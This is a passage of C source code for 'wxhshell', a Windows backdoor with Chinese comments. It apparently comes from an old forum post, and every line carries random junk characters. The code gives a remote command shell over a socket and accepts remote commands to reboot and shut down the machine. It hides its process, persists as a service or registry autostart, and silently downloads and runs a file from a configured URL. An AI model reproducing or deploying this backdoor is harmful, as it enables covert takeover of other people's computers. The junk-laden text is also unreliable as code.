    switch(cmd[0]) { fa jGZyd0:  
  |B?m,U$A!  
  // 帮助 rKe2/4>0X  
  case '?': { fy>{QC\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aD<A.Lhy  
    break; v+W&9>  
  } j78i #}e  
  // 安装 %~O,zs.2p  
  case 'i': { er("wtM  
    if(Install()) .KB^3pOpx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &n}]w+w  
    else X[-xowE-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `&r+F/Ap2  
    break; #`qx<y*S  
    } dc+>m,3$  
  // 卸载 2.`\  
  case 'r': { Fd%#78UEo}  
    if(Uninstall()) #5Qpu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c?(4t67|  
    else vONasD9At  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p,EQ#Ik  
    break; -P(efYk  
    } j nkR}wAA  
  // 显示 wxhshell 所在路径 L4@K~8j7  
  case 'p': { B?eCe}*f;B  
    char svExeFile[MAX_PATH]; =m]v8`g  
    strcpy(svExeFile,"\n\r"); 2prU  
      strcat(svExeFile,ExeFile); -V*R\,>  
        send(wsh,svExeFile,strlen(svExeFile),0); GL>O4S<`  
    break; afCW(zH p  
    } bWjc'P6rx  
  // 重启 ]g#:KAqz  
  case 'b': { fbyd"(V 8r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2 ~dE<}  
    if(Boot(REBOOT)) a kkNI3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |0&IXOW"XF  
    else { v^sv<4*%  
    closesocket(wsh); paA(C|%{  
    ExitThread(0); AwCcK6N1  
    } 6iry6wcHm  
    break; Hc;[Cs0  
    } f$o_e90mu  
  // 关机 vz@A;t  
  case 'd': { {UX!go^J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  g T6z9  
    if(Boot(SHUTDOWN)) &pxg. 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J@/kIrx  
    else { [7:,?$tC  
    closesocket(wsh); CQc+#nRe  
    ExitThread(0); o3XvRj  
    } @JiLgIe `  
    break; 0.Q Ujw  
    } %HhBt5w  
  // 获取shell pN, u`[  
  case 's': { +N]J5Ve-`t  
    CmdShell(wsh); +WZX.D  
    closesocket(wsh); k`cfG\;r  
    ExitThread(0); ^L,K& Jd  
    break; =bAx,,D#  
  } cRC6 s8  
  // 退出 +X\FBvP&  
  case 'x': { dUD[e,?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vJLK,[  
    CloseIt(wsh); s2a{>II6  
    break; {Ea b j  
    } x f'V{9*  
  // 离开 bS{bkE>  
  case 'q': { "6("9"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `{gHA+B  
    closesocket(wsh); nd`1m[7MNu  
    WSACleanup(); FBG4pb9=~  
    exit(1); B5`EoZ  
    break; `C,n0'PL.  
        } 3RUy, s  
  }  > ^O7  
  } \Zb;'eDv  
8%:Iv(UMk  
  // 提示信息 2/U.| *mH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5frX   
} mupT<_Y  
  } ~EW(Gs!=C  
t"sBPLU\  
  return; g%aYDl  
} W PC]%:L"  
.zf~.R;>  
// shell模块句柄 gZVc 5u<  
int CmdShell(SOCKET sock) &L3M]  
{ "6A ` q\  
STARTUPINFO si; {aZ0;  
ZeroMemory(&si,sizeof(si)); #j;^\rSv-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v<k?Vu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;cNv\t  
PROCESS_INFORMATION ProcessInfo; y-Fo=y  
char cmdline[]="cmd"; ^ G]J,+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -$\y_?}  
  return 0; J @`1TU  
} mb 1FWy=3  
aI'&O^w+  
// 自身启动模式 > [)7U _|p  
int StartFromService(void) A]*}HZ ,  
{ fT|.@%"vc  
typedef struct Od,=mO*.Q  
{ ]IaMp788  
  DWORD ExitStatus; ~"gA,e-)  
  DWORD PebBaseAddress; cF*TotU_m  
  DWORD AffinityMask; :S]%6gb8G  
  DWORD BasePriority; ;J'LS  
  ULONG UniqueProcessId; 1> ?M>vK  
  ULONG InheritedFromUniqueProcessId; n>z9K')  
}   PROCESS_BASIC_INFORMATION; xl{=Y< ;  
>[f?vrz  
PROCNTQSIP NtQueryInformationProcess; hy1oq7F(Q  
'I|v[G$l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LPXi+zj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qyb?49I  
t[HE6ea  
  HANDLE             hProcess; XE RUo  
  PROCESS_BASIC_INFORMATION pbi; 50h! X9  
_=r6=.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /*~EO{o  
  if(NULL == hInst ) return 0; qfF~D0}  
D'>_I.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cbjs9bu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H.P_]3f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a"1t-x  
#&+{mCjs  
  if (!NtQueryInformationProcess) return 0; T}Tp$.gB  
yNBQGSH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S E<FL/x1#  
  if(!hProcess) return 0; ]Ee?6]bN  
 y`iBFC;_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q~Hn -5H4Q  
y G~?MEh{  
  CloseHandle(hProcess); _{ue8kGt  
,O5NLg-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~i= _J3'  
if(hProcess==NULL) return 0; I@\lN&HC  
BkAm/R  
HMODULE hMod; pp?D7S  
char procName[255]; m[osg< CR_  
unsigned long cbNeeded; ;._ l 0Jw  
DDQx g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E, Z$pKL?  
XTs8s12  
  CloseHandle(hProcess); _~m5^Q&  
L<c4kw  
if(strstr(procName,"services")) return 1; // 以服务启动 t|?ez4/{z  
j a[Et/r  
  return 0; // 注册表启动 @/~omg}R  
} r wL`Czs  
1dY}\Sp  
// 主模块 PN%zIkbo  
int StartWxhshell(LPSTR lpCmdLine) %fZJRu 1b  
{ ';Ea?ID  
  SOCKET wsl; UBKu /@[f@  
BOOL val=TRUE; n6=By|jRh  
  int port=0; Wb,KjtX  
  struct sockaddr_in door; },?kk1vIT{  
f^ZRT@`O  
  if(wscfg.ws_autoins) Install(); >~rTqtKd  
O^PKn_OJ  
port=atoi(lpCmdLine); ?5__oT  
t^-d/yKt0w  
if(port<=0) port=wscfg.ws_port; R+:yVi[F]U  
OF>mF~  
  WSADATA data; =[ 46`-_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z|uDy2  
.#!lP/.eQP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t?X877z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h f)?1z4  
  door.sin_family = AF_INET; Mexk~z A^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S>+|OCl";  
  door.sin_port = htons(port); h^45,E C  
D8Ic?:iX[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `RT>}_j  
closesocket(wsl); iXkF1r]i  
return 1; ]#<4vl\  
} Hvauyx5T  
^0 )g/`H^>  
  if(listen(wsl,2) == INVALID_SOCKET) { G't$Qx,IC  
closesocket(wsl); EP&,MYI%E  
return 1; FkDmP`Od  
} %Xd[(Q)  
  Wxhshell(wsl); 5ta `%R_  
  WSACleanup(); (#c*M?g3  
f`(UQJ  
return 0; S}3fr^{.  
ja'T+!k  
} ,,.QfUj/&  
6- YU[HF  
// 以NT服务方式启动 ZoqZap6e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !TH) +zi  
{ Kn{4;Xk\  
DWORD   status = 0; _ye |Y  
  DWORD   specificError = 0xfffffff; XX!%RE`M8  
q$UJ$ 7=f8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6v!`1} ~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5I;&mW`1,`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "cGk)s  
  serviceStatus.dwWin32ExitCode     = 0; 2nObl'ec  
  serviceStatus.dwServiceSpecificExitCode = 0; =J==i?  
  serviceStatus.dwCheckPoint       = 0; !,uE]gwLw  
  serviceStatus.dwWaitHint       = 0; m~ABC#,2  
wm@@$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .LZ?S"z$ w  
  if (hServiceStatusHandle==0) return; h*a(_11  
//MUeTxR  
status = GetLastError(); **0~K";\  
  if (status!=NO_ERROR) sdrfsrNvB-  
{ %0?KMRr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3*bU6$|5FP  
    serviceStatus.dwCheckPoint       = 0; qZh/IW  
    serviceStatus.dwWaitHint       = 0; aK~8B_5k8  
    serviceStatus.dwWin32ExitCode     = status; 8`{:MkXP  
    serviceStatus.dwServiceSpecificExitCode = specificError; -ad{tJV|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :kV#y  
    return; }#+^{P3;  
  } }&D WaO]J7  
kazzVK5x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0> E r=,e  
  serviceStatus.dwCheckPoint       = 0; 4@gG<QJW  
  serviceStatus.dwWaitHint       = 0; O\tb R=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T Z@]:e:"b  
} 7z,C}-q  
G _tCmu\  
// 处理NT服务事件,比如:启动、停止 nW:C/{n2tG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ttQGoUkj  
{ m7V/zne  
switch(fdwControl) w.o@7|B1N  
{ W i.& e  
case SERVICE_CONTROL_STOP: VGN5<?PrN  
  serviceStatus.dwWin32ExitCode = 0; !|uWH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `RW HN/U  
  serviceStatus.dwCheckPoint   = 0; Uc>lGo1j  
  serviceStatus.dwWaitHint     = 0; Z\rwO>3  
  { 4"ZP 'I;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YP<ms  
  } _61gF[r4!Y  
  return; gJ+'W1$/  
case SERVICE_CONTROL_PAUSE: V Q@   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e%M;?0j  
  break; Y|qTyE%  
case SERVICE_CONTROL_CONTINUE: {S \{Ii6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -i|}m++  
  break; d-ko ^Y0  
case SERVICE_CONTROL_INTERROGATE: G*MUO#_iuh  
  break; 7A7?GDW  
}; JR|ck=tq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1&OW4_  
} q i;1L Kc  
tOD6&<  
// 标准应用程序主函数 3}1u\(Mf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pki%vRY  
{ r5/0u(\LB  
T>Z<]s  
// 获取操作系统版本 0mVNQxHI  
OsIsNt=GetOsVer(); |r/"  |`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V0YZp  
 F(n$  
  // 从命令行安装 H?Wya.7  
  if(strpbrk(lpCmdLine,"iI")) Install(); IOH}x4  
]W!0$'o  
  // 下载执行文件 !qg`/y9  
if(wscfg.ws_downexe) { q2j{tP#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >=>2m2z=  
  WinExec(wscfg.ws_filenam,SW_HIDE); }X6m:#6  
} +\A,&;!SR  
3d]S!=4H"  
if(!OsIsNt) { &z3o7rif$  
// 如果时win9x,隐藏进程并且设置为注册表启动 T -2t.Xs  
HideProc(); 6 gE7e|+  
StartWxhshell(lpCmdLine); Vb_4f"  
} P@B]  
else 59A}}.@?m  
  if(StartFromService()) )akoa,#%6c  
  // 以服务方式启动 t:Q*gW Rh  
  StartServiceCtrlDispatcher(DispatchTable); A/s?x>QA  
else Il 'fL'3  
  // 普通方式启动 t*u:hex  
  StartWxhshell(lpCmdLine); +6\Zj)  
<'*LRd$1  
return 0; ]ieeP4*  
}
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只看该作者 1 发表于: 2006-10-10
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